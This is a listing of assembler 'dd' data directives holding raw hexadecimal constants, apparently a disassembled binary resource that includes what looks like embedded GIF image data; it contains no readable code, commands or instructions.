dd 7FB1421Eh, 0B9F062D7h, 0DB45E706h, 0C44350B9h, 7B26991Ah
dd 2DB883D4h, 7B0B538Eh, 0A66D2899h, 60025BBDh, 86B0D4BEh
dd 654CA765h, 0B4395ACCh, 816D20E3h, 995A7A5Fh, 0DE1C54CEh
dd 4E877048h, 820AC450h, 6C0F89D5h, 1540C26Ch, 451E02ACh
dd 7AC34EFFh, 2589229Ch, 8E200261h, 0C2160C07h, 0A9D77EEDh
dd 46992207h, 0DBC1E293h, 3533C634h, 0E861CDB7h, 0DE901BD5h
dd 0E1F5B584h, 880F078Dh, 3078021Bh, 79ADFC02h, 0D19B87C9h
dd 0CF7290FFh, 0CA4356F9h, 6686E5F6h, 528DBB3Dh, 741BB5D3h
dd 0CD5CABA5h, 0BB568E71h, 15A9A615h, 6CC438C7h, 921C0A14h
dd 5FE66400h, 66781699h, 0A92DC919h, 9B96B5E6h, 25E96C68h
dd 0C27A39AFh, 3EF45C66h, 0FD565D84h, 4B7B56EEh, 0D94BAD9Ch
dd 0C8C98D3Bh, 94DB8DD0h, 826290ACh, 4DEA411Eh, 1E2292h
dd 0C7B29082h, 0A94DD909h, 90F33612h, 74A3C1CDh, 5D1A1E7Ah
dd 7BF77E06h, 0E3A86B8Dh, 0F7C8F2DEh, 0EBDF63Ah, 0D4BBF86Ch
dd 80C6F59Eh, 7152FA5Bh, 9CD68338h, 0CA87A3DAh, 0CF5EB7BCh
dd 0F366CD6Dh, 0B484A81Ah, 3B1B4D82h, 0A0C29F03h, 612B8101h
dd 4CD9EF3Dh, 0FA73F411h, 0A46937D4h, 37915104h, 0A21C6EFFh
dd 46410D8Bh, 51808D9Fh, 64C8DB8Bh, 25DA45EEh, 74134935h
dd 41433DCAh, 4358760Fh, 4760ECDEh, 0EF6DEA3Bh, 0E89BDF7Bh
dd 672FE8D7h, 2CE03E05h, 0D1A5C393h, 143AC620h, 0DA1B45CCh
dd 1BAE922Ah, 0D7D6DA2h, 11315AA6h, 0D5DBB75Bh, 0ADCCDEA4h
dd 8C8B0D55h, 1740441Ch, 0D74B167Fh, 584C49A1h, 5D04521Ch
dd 6A1B447Ch, 832E5F08h, 867B1862h, 120B1D4Ah, 620A6301h
dd 0E127490Fh, 47AFC821h, 1051EAB9h, 6348FEBEh, 5E28DDABh
dd 7852B26Ch, 0DC6B0DCEh, 0D8DABF17h, 5E91D0EFh, 580076EFh
dd 782659C0h, 8C61A397h, 82828475h, 0B6C15AA5h, 3D2A4922h
dd 5C49106Ah, 8725F35Fh, 0F1DB8080h, 4A487540h, 0C9609E37h
dd 173E54F1h, 17D2B953h, 0CAC4D128h, 87EA9707h, 776F5B66h
dd 0F5CAE8A1h, 0C5BBCB39h, 9318D672h, 1EF4DC3Fh, 0C3F60785h
dd 5F66052Eh, 1EFB637Bh, 3C9CB6D7h, 0C1C03DFFh, 0E3932A0Eh
dd 0B02FE7FCh, 6B0CB9FAh, 0A674CF2Fh, 344628C7h, 0D38DD18Eh
dd 70F5E64Fh, 0B86ADDF9h, 0C3B1E2B6h, 0D0F4E765h, 6A27E50Ch
dd 0FE6A559Ch, 0B8086FC6h, 6A80DD0Eh, 0AE6AC579h, 30D16B06h
dd 1937F50Dh, 6F71C443h, 0C1AA7FA1h, 1734DE7Fh, 0D00F673Bh
dd 90DC0EC0h, 6F86F40Dh, 466F9506h, 0D86FE7h, 65970270h
dd 0E2811605h, 15267F60h, 73B17183h, 200C50F2h, 67438228h
dd 0F050674h, 9D0EA746h, 582B79F7h, 0E68115Ah, 46832830h
dd 55681678h, 5967E583h, 0DE59A5F6h, 16A57990h, 59E0DB85h
dd 0B065A5A1h, 58437EF6h, 85B84784h, 2849162h, 0E5985968h
dd 0DF59E0Dh, 0B0E20DBh, 0B80C8678h, 0E70E96Ah, 0A957E56Eh
dd 8435335h, 66A1514Dh, 6016385Ch, 48491BF5h, 0DA8370Eh
dd 46F779Bh, 0B8266F95h, 8538286Fh, 0A67030DFh, 70C70C35h
dd 1508720Eh, 62173874h, 0B714F5FFh, 0B8771A82h, 17E3A714h
dd 0F57E4849h, 0D6F58385h, 79D83D83h, 5574B79Eh, 353152E8h
dd 88A0C60Ch, 7288D152h, 31EB88F1h, 4F71AB89h, 0CB0F20FCh
dd 5950EC0h, 84F6A286h, 2A8520DAh, 0D5A57038h, 0C77F065h
dd 0FC0CE8A4h, 0E7D55AE0h, 61C5D926h, 0E421B419h, 25CF8C46h
dd 2996342Ch, 0DF8165C5h, 521F2385h, 47946926h, 0DF6C970Ah
dd 22CE6CE2h, 43F7AD23h, 8B2BE434h, 48DE5B13h, 33D7F85Bh
dd 0DB676357h, 2D14A26h, 2443B900h, 383938DDh, 18EF5C63h
dd 8AF1497Eh, 0E80D90CAh, 0E0E87EA7h, 57D86D56h, 7F57E8FEh
dd 75365805h, 8BF53853h, 0C160B8C1h, 36E86352h, 2983676Eh
dd 48690247h, 23B63831h, 23371823h, 4062458Bh, 0F46449D2h
dd 69742F40h, 1A3F65DFh, 82E45B03h, 14D30A30h, 1B921723h
dd 96136116h, 2E46E414h, 4A8E924Bh, 43FA8EC6h, 61792424h
dd 1B3AD622h, 929252FFh, 60F08F57h, 5978F80Dh, 0DB6A4599h
dd 0D80C8680h, 86C57A80h, 349000CEh, 0D0C48BE5h, 1499070Ch
dd 49723250h, 67B76465h, 36877367h, 72274244h, 714E3916h
dd 8E767C54h, 0C67CC7C1h, 83304952h, 71F8947Bh, 89666373h
dd 0A3514195h, 24093049h
dd 0AA8EC8EDh, 26DD95B3h, 54B14F97h, 0B38B293Dh, 0E84E9408h
dd 5A365684h, 0BD8BC8BBh, 0CE0CF8h, 1470470Dh, 728CB6D3h
dd 16425642h, 40538F04h, 592383B1h, 0C6C83399h, 95E1497Ch
dd 0F4342266h, 86DD5643h, 96426323h, 0E53B2436h, 0F2BE6E88h
dd 3CA3C070h, 7861C96Bh, 87B047C3h, 9A19333Bh, 0BC3D55B5h
dd 69A39B05h, 0D684914h, 0BA7E80EDh, 0D65B9BB9h, 94B86F7Eh
dd 0C40C8581h, 75310CF0h, 70A38498h, 1E72721Fh, 0D2CA03C9h
dd 92323D28h, 743105DEh, 0D71A0422h, 72091995h, 33697960h
dd 2995D23h, 1493F59Ah, 6491E711h, 934C59FFh, 0C9152A48h
dd 9326C69Ah, 0EC91F311h, 0B9DF9D58h, 3B14893h, 0DA69F0E2h
dd 77EF9BE0h, 5399039Fh, 3C0C89FAh, 10CF0C75h, 6245340Dh
dd 0CC48D247h, 37DD7786h, 29862A6Eh, 5F43F2C4h, 33B56C33h
dd 21F30946h, 9C6ED371h, 0D2669942h, 3B729C42h, 6024D549h
dd 199F3532h, 43B26040h, 0DB91F90Bh, 0A44A78D7h, 9B575944h
dd 6F2AC2A5h, 44424409h, 43DA223Bh, 8EA11767h, 98F46363h
dd 0EA0BD14h, 0D80D70CAh, 0B0DF8630h, 0A40A406Ah, 44A430D1h
dd 30D1A45Ah, 5339FF0Ch, 0A991109Ch, 77CF4B57h, 2323713Bh
dd 1A47C3AEh, 0C35C3B43h, 647A087Bh, 0FA7E07A8h, 438B8D67h
dd 47E48756h, 87372A27h, 54890424h, 7B423D6Bh, 0AD44A968h
dd 0D9A92CA7h, 48A32D28h, 8D54738Dh, 531047A4h, 5AF3D8A6h
dd 37A667CDh, 501F146Ah, 0F102201h, 0F551E0D5h, 48288286h
dd 5770DD94h, 0C3576A8Ah, 0CCA8D0FFh, 15330C40h, 160180Ch
dd 0B71951F8h, 59CC1647h, 4C916487h, 3A01601Fh, 120110h
dd 0D70DD0Ch, 0D951F51Dh, 0BAA80CB0h, 0E47E60Ch, 0AEAAD0C2h
dd 59BF0C2Ah, 0BE0C60Ch, 1202400Ch, 0A01603A0h, 2B17E42h
dd 0B2153A6Fh, 0DA9A7752h, 0A9D5F185h, 2401203Ah, 0E0230240h
dd 0ACB0C00Bh, 0CEACDACCh, 0E0C0ACAAh, 0AD3AD20Bh, 23045AD3h
dd 7AD700C0h, 0AC1AB9ABh, 0E2151ADCh, 502201F4h, 3203103h
dd 3301E03Ah, 100330h, 0AC7AC6AAh, 0EE00C024h, 0CAEEAEFAh
dd 12AC7AEh, 10010011h, 203AAE70h, 3503103h, 0FEADDA95h
dd 0E64E46AAh, 0A80020A7h, 18016016h, 10130180h, 147DB03h
dd 0EB0D032h, 17DBB0FBh, 1303103h, 5017B07h, 1022022Bh
dd 0B1BB1A02h, 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 26B25B24h
dd 9B28B27Bh, 20B23B2h, 0BA01FB2Ch, 75F16EEAh, 2001F14h
dd 17B05022h, 38B070FFh, 0BB3AB39Bh, 0B3DB3CB3h, 40B3FB3Eh
dd 3B42B41Bh, 0B45B44B4h, 48B47B46h, 4B16B3BBh, 0B2F020A9h
dd 2101F4F7h, 0C0130160h, 0B5503AB0h, 58B57B56h, 0BB5AB59Bh
dd 0B5DB5CB5h, 60B5FB5Eh, 3B62B61Bh, 0B65B64B6h, 32B5AB66h
dd 60130140h, 0ABA02101h, 17021ADFh, 0B0480140h, 0BC0AC09h
dd 78B77B76h, 0BB7AB79Bh, 0B7DB7CB7h, 80B7FB7Eh, 3B82B81Bh
dd 0B85B84B8h, 7BB87B86h, 809B0ACBh, 1701404h, 3169CB6Dh
dd 4016020Bh, 0B7708001h, 0B70BB0B8h, 0BB9AB990h, 0B9DB9CB9h
dd 0A0B9FB9Eh, 3BA2BA1Bh, 0BA5BA4BAh, 0A8BA7BA6h, 0ABAABA9Bh
dd 0B80BBB9h, 14080B77h, 200160h, 46BB9h, 48013AE0h, 0B0B90B90h
dd 0B30B60Ah, 0C0BBFBBEh, 3BC2BC1Bh, 0BC5BC4BCh, 0C8BC7BC6h
dd 0BBCABC9Bh, 0BCDBCCBCh, 0C3BCFBCEh, 0A0AB0B6Bh, 13048BBh
dd 0C9000AFDh, 0C014B924h, 0AB0BA0Ah, 0E00B10B4h, 0E2BE1BFFh
dd 5BE4BE3Bh, 0BE7BE6BEh, 0EABE9BE8h, 0DBECBEBBh, 0BEFBEEBEh
dd 0E7BF1BF0h, 0A0AB0B4Bh, 0BB10AC0Bh, 0F19B6BB3h, 0A03AB925h
dd 0B50B80Bh, 2C010AFh, 5C04C03Ch, 0C07C06C0h, 0AC09C08h
dd 0DC0CC0BCh, 0C0FC0EC0h, 7C11C10h, 506E0B2Ch, 0C1704E05h
dd 17C19C18h, 206E055Ch, 0B5C030Bh, 0B80BA0B8h, 0BBD8BF9Ah
dd 3A017BFh, 0B00B70B8h, 0DC2C0AE0h, 0C2FC2EC2h, 32C31C30h
dd 5C34C33Ch, 0C37C36C3h, 3AC39C38h, 1C3CC3BCh, 550AAC3h
dd 5104F04Bh, 5C44C430h, 4FC43C4h, 0AA05504Bh, 70B0C2D0h
dd 3A0B80Bh, 0C9C24017h, 0A0180214h, 0AB0B703h, 5AC590A6h
dd 0DC5CC5BCh, 0C59C5EC5h, 0A40A70A9h, 90A80A40h, 0ADC5D0Ah
dd 680A70A8h, 0DC5FC65Ch, 0A9C5DC6h, 0AD0A80A8h, 5C74C6E0h
dd 0C77C76C7h, 75C79C78h, 0DC46C40Ch, 0C49C46C7h, 0B70ABC5Bh
dd 101803A0h, 0BB5BFA16h, 0ABC56C54h, 8C0A30FFh, 3C63C8CCh
dd 0C910A509h, 8DC63093h, 4C8FC8DCh, 0C8CC950Ah, 90091C90h
dd 5C980A50h, 0A50A4C9h, 9EC91C9Dh, 7CA6C99Ch, 0CA1C99CAh
dd 0A00930A5h, 3C930A4Ch, 0CAFCAE0Ah, 0B4CB3CA8h, 3CA0CB5Ch
dd 0CB6CB209h, 8FC93CB0h, 0DCBACB9Ch, 4B07DC8h, 0C4050C43h
dd 104CCC4Ch, 4C00100h, 43CC4CC5h, 0D07D04BCh, 0C84C82C8h
dd 88C25C86h, 0B099C55Ch, 0CD90A20Ah, 91090CD9h, 0ECDE0920h
dd 0CDA091CDh, 0DD0A2CE2h, 2CE3090Ch, 9A0900Ah, 0E70BDCC8h
dd 10960A2Ch, 9109900h, 0E609B09Dh, 0DCF6CEDCh, 9B090CEh
dd 0DACF509Dh, 1CD9CE5Ch, 0CF7C9C09h, 4D03D02h, 0C092CFFDh
dd 90D04CFh, 0E4CE1092h, 3D05D01Ch, 4B056CEh, 1404F050h
dd 8CC8D15Dh, 0D14D15CCh, 5604BCC4h, 90ABCDA0h, 0B30CD209h
dd 9903ACD5h, 70900980h, 8ECDCD2h, 1709C098h, 0C09A09CDh
dd 0CE0CDDC9h, 1098092h, 0B0950FFh, 5091D28Dh, 7F00109h
dd 27D00D0Bh, 1D39D00Dh, 8E09800h, 38C9CCF3h, 0FD3DCDFDh
dd 0D31D46CDh, 0FA091D37h, 3D28D07Ch, 0CDED35D3h, 0B0010BDh
dd 0D00D48Dh, 0D5AD47CEh, 48CDCD28h, 0CD58D4DDh, 0CFAD59D4h
dd 4AD4908Eh, 0AD4AD3FDh, 92D43D3h, 67D30D55h, 8D6FD5EDh
dd 0D1904DD2h, 1D17D19h, 5C47D140h, 0D2804DD1h, 85D20098h
dd 9209D22Ch, 6E099C8h, 8ED8508Eh, 109908D0h, 0D8508000h
dd 0BD09B095h, 0F07908E0h, 8FD9208h, 3408D08Dh, 908F094Dh
dd 79D8607h, 7D00107Eh, 5D99D940h, 0D9908DD8h, 0F308DD6Ah
dd 3DA2D86Ch, 7908DD9h, 9AD93DA3h, 0BD92DACDh, 0CFA079DAh
dd 97D9BD9Ah, 3D99DA0Dh, 0DAEDBAD9h, 8DDBAD90h, 0EDBDDA80h
dd 0DB1DB0DBh, 0ACD94DC3h, 609D07FDh, 0D92DADDCh, 95DADDAFh
dd 0AD42094Dh, 0DC5079DBh, 0ABDBBDB2h, 5D73DA8Dh, 0D14CC7D1h
dd 47DDCD76h, 4DD190FFh, 0E06ED860h, 0C53CD3D7h, 6E098C55h
dd 0B079DD30h, 0D3B07C08h, 8CDEADEAh, 808007A0h, 7D09DCCh
dd 99D7607Dh, 7DF7DEA0h, 7DDF7D1h, 8CD89DEBh, 0C098DD00h
dd 7F09D08h, 0F0DFFDB2h, 809D0A0Ch, 9D07E07h, 78080CC8h
dd 0C09608C0h, 9A001D2h, 0C808F078h, 0BDEF08CDh, 99CC8DFh
dd 81E0B081h, 80810A00h, 0D8907ECCh, 11081001h, 0FDF4DF2Eh
dd 0E27E1BD9h, 7D0A0E0Eh, 9D8908C0h, 78E0A09h, 36E1DE34h
dd 507DD76Eh, 9CE1409h, 3908C07Ch, 0B09C001Eh, 81D7607h
dd 37E40E1Fh, 0FE11CF0Eh, 0D3BDF3E1h, 0D9DEAE1Ah, 0DD18DDCDh
dd 0D13D17DDh, 0EA04DD14h, 109806EDh, 0D81C87D2h, 8C097DE7h
dd 0A078E610h, 0E62095CEh, 76E67078h, 0A09C09C0h, 8007607h
dd 9D08F0A0h, 2E61E3FDh, 96D9DE6h, 96CEF078h, 6D34E400h
dd 7EDED07h, 11E05076h, 1D34E62Eh, 7807908h, 7E001097h
dd 7AD6AEFFh, 60950810h, 76E88E8h, 67076DC8h, 0E71E93Eh
dd 9E081E4h, 7FE23076h, 0CDF30780h, 1D9C09h, 6BE69097h
dd 0A0A0E6DEh, 0E12E7307h, 21E8DE42h, 5E8308FEh, 7ED9DE8h
dd 98DF708Ch, 8E0BE900h, 0A007B07h, 7A07607Fh, 608109E0h
dd 0E31CEA07h
dd 7D07F098h, 6E97E67Eh, 0EB1EAF07h, 15E99D42h, 7E8708CEh
dd 8CE8109h, 17051E51h, 6D7604ADh, 0D7A051D7h, 5B097E73h
dd 8E5DD7FEh, 7EC8914h, 0E2076EA1h, 700107FEh, 77EE207h
dd 0F7077EE8h, 0DEE806DDh, 0D9DD9E06h, 0F2EE207Bh, 6001EC6Eh
dd 0E7807609h, 77D34EE2h, 707EE440h, 0EB909E07h, 0F1D34EF3h
dd 0B0BD076Eh, 0D8EEE909h, 0A0EE8EE9h, 0F07709A0h, 0F0909E07h
dd 0E2EF0EE6h, 5077E97Eh, 0EF1EF4ECh, 0EB098E44h, 3EA0EEDEh
dd 0E7ECEFEFh, 2DFD076h, 0D0BDEE2Fh, 9BEE2EBh, 98F0D0A0h
dd 8F29EBEEh, 6CD34EEh, 0FCEF3E15h, 0FF13EFFh, 8EF2F25Fh
dd 0F2BF15F2h, 0F2EC908Fh, 5052ED1Eh, 52ED5EDh, 0F2E57ED7h
dd 0C07E097Eh, 209CD4E5h, 0C01E016h, 50960970h, 75F5007h
dd 7506ACEAh, 0D1706B0h, 0ED5D9D08h, 6CDF7097h, 0BF51F510h
dd 0EEE075EEh, 9DF5006Dh, 0DF3006ADh, 9E06A07h, 75F5E09Ah
dd 0AF5DD9D0h, 0ED50A006h, 7E06A09Eh, 0AE15E4D0h, 0F7309A06h
dd 5C06CD76h, 3080F50Fh, 0F54F7FF7h, 7EF30F60h, 7D76F590h
dd 0EEEF5E09h, 67F5007Dh, 0A075F6EFh, 0F51E1506h, 79077D9Dh
dd 5EE4F54Fh, 0D9E062EDh, 7EF67F5Eh, 4F6BF7AFh, 0F81EE5F6h
dd 51F91F8Fh, 0FC42E51Fh, 1F40F3h, 51DE0F42h, 0C097096Fh
dd 1BD01E00h, 4B147EDDh, 0B0A500CFh, 0FB908208h, 75E87082h
dd 4FB90840h, 9B09C08h, 8308ACEFh, 83FBA0h, 0FBA08ADDh
dd 76DD0FBAh, 10760820h, 84FCD00h, 8A084CEFh, 50940010h
dd 9809C08h, 0C3FBAFC5h, 83082FFFh, 0FFBED420h, 9ACEFFBh
dd 98FD808Ah, 1D2B0840h, 1FCBFEh, 9B083FC9h, 0F08609C0h
dd 0FCCFBEFEh, 96FD5082h, 0AFDBFC30h, 0FCFFB9FCh, 82100094h
dd 400A2904h, 450052C9h, 0C0050682h, 0A1104844h, 71308983h
dd 13683422h, 150242A7h, 483829D6h, 0A4A4123h, 0E8621A2Fh
dd 44806210h, 0F4324D17h, 1389B028h, 48A33098h, 0A6D35009h
dd 61312894h, 0A8B8D136h, 160F0314h, 201D0C00h, 0A180C040h
dd 60782D43h, 46916A50h, 21311C41h, 0E085432h, 28D4DA7h
dd 0C86AAA3Ch, 84A2110h, 1854B50Bh, 3B20CED6h, 3A1D0D5Bh
dd 21A40858h, 0EC8984Eh, 5070983Ah, 0B5440A0h, 0C708BD79h
dd 85B8A210h, 1A843A26h, 91DED156h, 1D99072Ah, 5692D044h
dd 0CD0D7BAEh, 0EBC7CB4Dh, 0EA7500A3h, 687BC42Ah, 844FA6ADh
dd 742A1E26h, 43576509h, 0F25C0289h, 65A0955Ch, 7F3B2343h
dd 0A54854FEh, 2C42A0FFh, 0E9D4BE35h, 9B144A04h, 0E93CA201h
dd 40A784EDh, 1285409Fh, 69348A35h, 283A0C08h, 0BD541A2Dh
dd 734D69BAh, 0B4FA24E6h, 4E204DE9h, 0D9D4E675h, 9F2388A4h
dd 2FAC6F39h, 3B96700Eh, 6A7C39A6h, 26F9021Ah, 75EB456Eh
dd 3F856BABh, 4BA5D2C7h, 0E64513Eh, 6432184Dh, 3BD6F522h
dd 0FA380E6Fh, 0C63D48BAh, 0BC2EFB1Ch, 2F5BCAF1h, 50E64BADh
dd 0F437AB04h, 0F93D0F63h, 0A10BA12Ch, 24F91443h, 0DBE24490h
dd 0EE00B444h, 4C0EC398h, 0BFA4F8DEh, 3102C307h, 78DE4B00h
dd 4A379070h, 2589AEB2h, 0C8321482h, 62726A27h, 0B09B21C8h
dd 744A116Eh, 0A48420C0h, 292A3A8Ah, 8E93A000h, 0CCB24211h
dd 24B10B2h, 4A1309B1h, 0C0A4490Ah, 83B13800h, 0B26AC110h
dd 0CD2D90A4h, 0AC3342h, 8DF02902h, 92D302FAh, 0E4DA844Bh
dd 0C44D26A4h, 0B8A192F4h, 0CB5040DEh, 3351312Dh, 28DE4E31h
dd 0B72CC4FFh, 4C931470h, 0E37D0933h, 426B328Eh, 0B6454F11h
dd 364D483Ch, 8ED3F913h, 240CFE3Ah, 4CE334D3h, 369AD164h
dd 4E4F1079h, 90944B6Dh, 3361311Eh, 0B491204Bh, 9A25D6F5h
dd 269192D0h, 39B28C9Fh, 84A4AD2Ah, 358A3791h, 936458F6h
dd 66597655h, 59F6759Bh, 164DA368h, 80F94A0Eh, 0B36C5A43h
dd 20D6B68Dh, 0DBEE0899h, 0D2489800h, 849D5E58h, 9F29B992h
dd 38586E8Bh, 5DF775DAh, 7795E378h, 0B5EB7A5Eh, 0F37C5EF7h
dd 38DAB795h, 0DFF7F5F4h, 25DB97Ch, 0C8F705Ch, 0CB7709B2h
dd 0E75D15F5h, 8F161286h, 78962238h, 0B62B8A62h, 338C62F8h
dd 8E6378D6h, 5F98B63Bh, 0B916438Fh, 7D6A29E3h, 6B825BC2h
dd 8389E262h, 8F1890A7h, 4005CF5Eh, 8CAB86CAh, 0E43C0F8Eh
dd 9E6779D0h, 67F9F67Bh, 7A1683A0h, 368BA268h, 93A468FAh
dd 2BE7FA56h, 26628E4Ch, 1A96A229h, 0CE5827A7h, 9D8AF5FFh
dd 0DCC3E0F1h, 0F875D35Fh, 10E835E6h, 0CBB26C7Bh, 0B46CFB36h
dd 6D7B56D3h, 0FB76DBB6h, 96E3B86Dh, 4A30ECFBh, 21D71AB6h
dd 8A62689Fh, 635EC630h, 66785EBh, 0F81D5D56h, 0C40CA358h
dd 717C5713h, 0FC771BC6h, 9723C871h, 2BCA727Ch, 0CC72FCB7h
dd 8B43371Bh, 0E2809792h, 0FF43D073h, 0B429D73Ch, 0BFF12330h
dd 4A9866B9h, 0A1D02E10h, 38D23D0Dh, 6BDA7663h, 0DC76FDB7h
dd 777DD773h, 0FDF77BDEh, 1783E077h, 0D3DC787Eh, 2A0AE2D0h
dd 797E509Ah, 0E2A795E6h, 9F642D0Ah, 0DA3D0D3Dh, 1002E1D0h
dd 419AEBAh, 6320740Bh, 10D0308Ch, 0CBF27C7Fh, 0F47CFF37h
dd 7D7F57D3h, 0FF77DBF6h, 97E3F87Dh, 0B430FD3Fh, 0FC7EFFB0h
dd 0FC9F0FF1h, 42E8C630h, 6F640B07h, 1EE14975h, 630FA05h
dd 0BC18045h, 360640Bh, 840F81Dh, 13825046h, 2D0560A4h
dd 660C4178h, 0E41B8350h, 0A0C104A0h, 0F43188FFh, 0EC010281h
dd 0F4A80E1Ah, 204C1101h, 83186309h, 8600C21Ah, 8650C42Fh
dd 0D61A433h, 1C43786Dh, 3B8750E6h, 7D0F61E4h, 62043F8h
dd 4348851h, 0C0D41843h, 404C24C2h, 0A481F04h, 42628C0Eh
dd 28059D6h, 18E1604Eh, 2E05B0C4h, 5B8B5164h, 0BD1762E4h
dd 863045F8h, 24638C51h, 78CD1963h, 51A63446h, 82DC5A8Dh
dd 84E8AA18h, 28700A11h, 1400144Eh, 1081F293h, 4902805Ch
dd 0B21602B0h, 64047F0h, 24839052h, 790D2164h, 52264448h
dd 64648B91h, 48F91D23h, 0B121248h, 5024856h, 2602102Eh
dd 2F005136h, 0A80541B8h, 5A3C0004h, 90140260h, 794C0E81h
dd 52A6544Ah, 6564AB95h, 4AF95D2Bh, 9652C658h, 2D65A4B3h
dd 55CB796Dh, 130280CAh, 4F2600B0h, 0C0178378h, 0F8390380h
dd 20412824h, 0E0580B02h, 66601802h, 4CF99D33h, 9A534668h
dd 3566A4D3h, 6C4D79ADh, 9B5366B6h, 3766E4DBh, 6481799Fh
dd 9904008Ah, 380E4A4Ch, 8180300h, 3B320360h, 0F04007E1h
dd 53C410CEh, 67A4F39Eh, 4F79ED3Dh, 9F53E67Ch, 3F67E4FBh
dd 804FF9FDh, 0F2A05406h, 0C938E77Ch, 80D9CF9h, 1CE99D00h
dd 0F98A08A6h, 54468850h, 68A513A2h, 517A2D45h, 0A354668Ch
dd 4668E51Bh, 854E6045h, 0E806C0C2h, 70076754h, 0A401D270h
dd 652BA554h, 0FA5D4B69h, 54C69852h, 69A533A6h, 537A6D4Dh
dd 0A754E69Ch, 0E293D37h, 7450903Ah, 0BA840DAh, 8C51817Dh
dd 26A4547Ah, 654BA955h, 0FA9D536Ah, 5546A854h, 6AA553AAh
dd 557AAD55h, 0A83306A3h, 80836h, 3Bh, 0
dd 38464947h, 21D6137h, 0FBE700F4h, 10000h, 1000200h, 6030004h
dd 4080501h, 0B0D0A03h, 100E090Dh, 0F12100Ch, 12121513h
dd 18141816h, 1B19151Ah, 191C1A16h, 1E1A1E1Ch, 22201C1Fh
dd 2024221Eh, 27232624h, 2C2A2629h, 2A2D2B27h, 302C302Eh
dd 34322E32h, 32363430h, 39353836h, 3E3C383Bh, 3C413F3Ah
dd 44404240h, 49474346h, 484C4A46h, 4F4B4F4Dh, 54524D51h
dd 5156544Fh, 59555755h, 5F5D585Bh, 6164625Dh, 68636765h
dd 6D6B676Ah, 5F6F6D69h, 74598972h, 73716C89h, 6B8A755Ah
dd 7A5F7877h, 7B78748Fh, 637C7974h, 7D71947Eh, 0CA8A337Eh
dd 6D807F73h, 826B9780h, 677C9093h, 3F838276h, 8758BC8Fh
dd 0B8913ECBh, 76858579h, 84809785h, 99887287h, 73DB8A56h
dd 87829A89h, 0FF91418Ah, 818B8B7Fh, 8D7E8E8Dh, 0A08F789Fh
dd 83A79468h, 9646908Fh, 0FE9352FFh, 7B939286h, 9854B093h
dd 0A6957FF6h, 86A79778h, 968AA895h, 0A9988197h, 50FF9B5Ah
dd 988CFF9Eh, 0C8997C99h, 66E89C69h, 9A8EFC9Ch, 0BAA2709Bh
dd 8DFFA160h, 9D90AF9Ch, 0AA9D919Dh, 7FA6A090h, 0A292D7A2h
dd 0FEA56DA8h, 97A3A396h, 0A965B0A2h, 0C9A97BFFh, 98FFAA66h
dd 0A69AA5A5h, 0C1AF7AB3h, 72A9A89Ch, 0AA9DFFACh, 0ACAB9EABh
dd 9EB2AC9Ch, 0ADA1B4AEh, 0B6AF9FBAh, 80CDAD9Eh, 0B098FFB2h
dd 0B7B0A1CEh, 0A7C8AEA3h, 0BA6FB7AFh, 0DDB393FEh, 8FB9B2A3h
dd 0B58BC5B7h, 0C1B3A8FEh, 0A7FFB984h, 0B9A9BDB7h, 0FEBC8EBFh
dd 0ABFEBA96h, 0BBB2C2BBh, 0FFBF91C3h, 0B5C4BDADh, 0BFAFC5BDh
dd 0E6C1A5C6h, 9BC7C1B1h, 0C3B3FFC3h, 0CBC5B5C9h, 0A4F7C7A2h
dd 0C6B6FDC6h, 0CDC5BDCCh, 0BFCFC6BEh, 0C9B9D0C7h, 0FFCAA8CFh
dd 0ADFDCE9Fh, 0CBBBFCCAh, 0FDCDA7D2h, 0B0D2CAC1h, 0CEBEFECCh
dd 0FFCFB2D4h, 0B8D7D1C0h, 0D3C3FCD0h, 0FFD2BAD9h, 0B5DBD2CAh
dd 0D5C5FFD6h, 0FCD5C2DCh, 0C8FDD8BCh, 0DBBADFD9h, 0FFDCB7F8h
dd 0CAE0D8CFh, 0D9D4E1DBh, 0FFDAC6DBh, 0D2E2DCCBh, 0DACBE2DAh
dd 0FCDCC5FCh, 0D4E4DBD3h, 0DECEE5DCh, 0E0DDD8E5h, 0DAE8DFD7h
dd 0E3C7E2DFh, 0E8E2D1FBh, 0CEE3E0DBh, 0E1D8FBE2h, 0EAE2D9E9h
dd 0DDEAE4D3h, 0E7CBE5E3h, 0ECE6D5FFh, 0CFE6E4DFh, 0E7D6FAE7h
dd 0FAE4DCEDh, 0E0FAE6D6h, 0E6E1E8E5h, 0E3E4EAE9h, 0EDF5E5E1h
dd 0E7DFDDE4h, 0F0E9D9F0h, 0E2EAE7E2h, 0EADAF6E6h, 0EBE8E3F1h
dd 0DBF7E7E3h, 0E9E4F2EBh, 0F8E8E4ECh, 0DCF8EADEh, 0EAE5F3ECh
dd 0F4EEDDEDh, 0EAEEECE6h, 0EDE7F5EBh, 0FDF0DCEFh, 0EAF7EEE5h
dd 0F1E4F2EFh, 0FFF3DFFFh, 0ECFAF1E9h, 0F2EDF4F1h, 0FBF1F0F5h
dd 0EFF6F3EEh, 0F7F1F7F5h, 0FBF6F9F9h, 0F4FBF8F3h, 0F9F7FCF9h
dd 0FCF8FAF6h, 0FEFDFAF5h, 0FBF6F7F8h, 0F9FCFAFEh, 0FBFFFDF7h
dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh, 2CFCh
dd 21D0000h, 80000F4h, 99700FEh, 20B0481Ch, 0A8CB6A41h
dd 0B0C6BB51h, 0DA8643A1h, 489C4A22h, 8BB7A231h, 0DC6A3318h
dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 535E730Fh, 0CFA0D098h
dd 2A79039Fh, 61B0A85Ch, 90DA8851h, 512A5CDEh, 50A7D3A6h
dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D31BCDA8h, 1A915FAFh
dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
dd 0BF7DC3E1h, 91B7049Eh, 8E705631h, 38C6469Dh, 0BDE42AB9h
dd 0D37B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0ED7B0E2h
dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
